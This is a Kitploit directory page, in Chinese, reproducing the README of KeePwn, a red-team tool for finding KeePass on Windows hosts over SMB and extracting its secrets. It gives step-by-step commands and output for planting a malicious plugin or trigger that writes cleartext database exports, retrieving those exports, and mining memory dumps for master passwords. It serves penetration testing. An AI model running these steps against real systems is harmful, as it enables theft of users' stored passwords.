Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
KeePwn — 一个用于自动化KeePass发现和机密提取的Python工具。 | Kitploit
工具/GitHubGitHub/orange-cyberdefense/keepwn
密码破解漏洞利用后渗透利用红队
GitHuborange-cyberdefense/keepwn

KeePwn

一个用于自动化KeePass发现和机密提取的Python工具。

查看仓库
52754361年前Kitploit 审核通过
分享

一个帮助红队发现KeePass实例并提取秘密的Python脚本。

功能

  • KeePass 发现
    • 通过 SMB C$ 共享查找 KeePass 安装文件。
    • 接受多个目标来源(IP、CIDR、主机名、文件)。
    • 检查 KeePass 元数据(版本、上次访问时间)。
    • 通过基于 Impacket 的 RPC 检查正在运行的 KeePass 进程。
    • 多线程实现以避免瓶颈主机。
    • 将搜索结果导出为 CSV。
    • 查找 KDBX 数据库。
  • KeePass 插件滥用
    • 通过 SMB C$ 共享添加和删除 KeePass 插件(参见 KeeFarce Reborn)。
    • 在远程主机上检索明文导出。
  • KeePass 触发器滥用
    • 通过 SMB C$ 共享从 KeePass 配置文件中添加和删除触发器(参见:KeeThief)。
    • 在远程主机上检索明文导出。
    • 通过命令行参数自定义触发器。
  • KeePass 转储解析
    • 解析内存转储以查找主密码候选(CVE-2023-32784)。
    • 解析内存转储以查找加密密钥。
  • KeePass 数据库破解
    • 将 KDBX 转换为 John 和 Hashcat 兼容格式。
    • 添加对 KDBX 4.x 格式 的支持。
  • 认证
    • 支持 LM/NT 哈希认证。
    • 支持 Kerberos 认证。
  • 杂项
    • 编写单元测试。
    • 在 PyPI 上发布该项目。

安装

git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

或者,如果你不想安装,只想在虚拟环境中运行:

git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

使用

发现

KeePwn 的 search 模块用于识别目标环境中运行 KeePass 的主机:

$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

它利用 Active Directory 内置的 C$ 共享在默认位置查找与 KeePass 相关的文件,因此需要在目标上拥有管理员权限。

该模块首先会在每个用户的 %APPDATA%\KeePass 文件夹 中查找 KeePass.config.xml 配置文件,以及在默认安装路径(C:\Program Files\KeePass Password Safe 2)中查找 KeePass.exe。如果找到配置文件但 KeePass 未全局安装,KeePwn 将递归查找便携式安装,最多深入 --max-depth 个子文件夹。

这种基本搜索技术应该足以准确判断工作站上是否使用了 KeePass。此外,--get-process 选项将使用 Impacket 的 RPC 实现来确定 KeePass 当前是否在目标上运行。

还包含了一些提升使用体验的选项,允许你将搜索结果导出到 CSV 文件,仅显示找到 KeePass 的目标,以及调整并行线程数:

$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv
插件滥用

KeePass 提供了一个插件框架,可被滥用以将恶意 DLL 加载到 KeePass 进程中,从而允许具有管理员权限的攻击者轻松导出数据库(参见:KeeFarceRebornPlugin)。

KeePwn 的 plugin 模块允许:

  • 列出当前已安装的插件并枚举插件缓存

    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] No path specified, searching in default locations..
    [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • 添加和删除你的恶意插件

    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] No path specified, searching in default locations..
    [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
    > y
    [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
    
  • 轮询 %APPDATA% 以获取导出,并自动将其从远程主机移动到本地文件系统

    $ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    

这些操作通过 SMB C$ 共享访问完成,由于没有执行命令,因此限制了 AV/EDR 检测。

触发器滥用

如 @harmj0y 的博文(以及后来的 CVE-2023-24055)所述,KeePass 的触发系统可被滥用以明文导出数据库。

KeePwn 的 trigger 模块允许:

  • 检查 KeePass 配置中当前是否写入了名为 "export" 的恶意触发器

    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] No trigger found in KeePass configuration
    

    注意,如果检测到的 KeePass 版本不受此技术影响,KeePwn 将阻止你滥用插件。

  • 添加和删除一个名为 "export" 的恶意触发器,该触发器在下次 KeePass 启动时执行数据库的明文导出到 %APPDATA%

    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
    
  • 轮询 %APPDATA% 以获取导出,并自动将其从远程主机移动到本地文件系统

    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    

如果配置文件路径不是默认位置,可以使用 --config-path 参数指定。

内存转储解析

如 @vdohney 所述,可以从内存中检索数据库的主密码(CVE-2023-32784,影响 KeePass 2.54 之前的版本)。

KeePwn 的 parse_dump 模块将在转储中搜索潜在的主密码候选。由于生成的字符串(设计上)是不完整的,该模块也可以用于针对指定的 KDBX 文件暴力破解缺失的第一个字符。

$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    369
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    282

探索所有工具

浏览我们的工具集合

查看所有工具 →